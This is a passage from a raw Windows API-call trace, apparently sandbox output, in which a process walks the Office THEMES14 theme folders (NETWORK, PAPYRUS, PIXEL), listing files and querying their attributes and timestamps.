[0242.280] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.280] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0242.280] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0242.281] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.281] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.281] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.281] GetLastError () returned 0x12 [0242.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x919490) returned 1 [0242.281] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x919598) returned 1 [0242.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.281] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0242.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.281] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.282] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91b268 [0242.282] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91b268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91b268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b268) returned 1 [0242.283] NtClose (Handle=0x1b0) returned 0x0 [0242.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919598 [0242.283] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.283] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.283] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919490 [0242.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913920 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919ac0 [0242.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.283] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0242.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913940 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919bc8 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913960 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919cd0 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913980 [0242.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919dd8 [0242.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.284] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.284] GetLastError () returned 0x12 [0242.284] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.285] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.285] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.285] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0242.285] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0242.285] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.285] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.285] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.285] GetLastError () returned 0x12 [0242.285] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x919598) returned 1 [0242.285] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.285] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x919490) returned 1 [0242.285] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.285] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0242.285] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.286] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91b268 [0242.286] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91b268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91b268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b268) returned 1 [0242.286] NtClose (Handle=0x1bc) returned 0x0 [0242.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.286] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.286] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.286] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0242.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.286] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0242.286] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.287] GetLastError () returned 0x12 [0242.287] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.287] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, 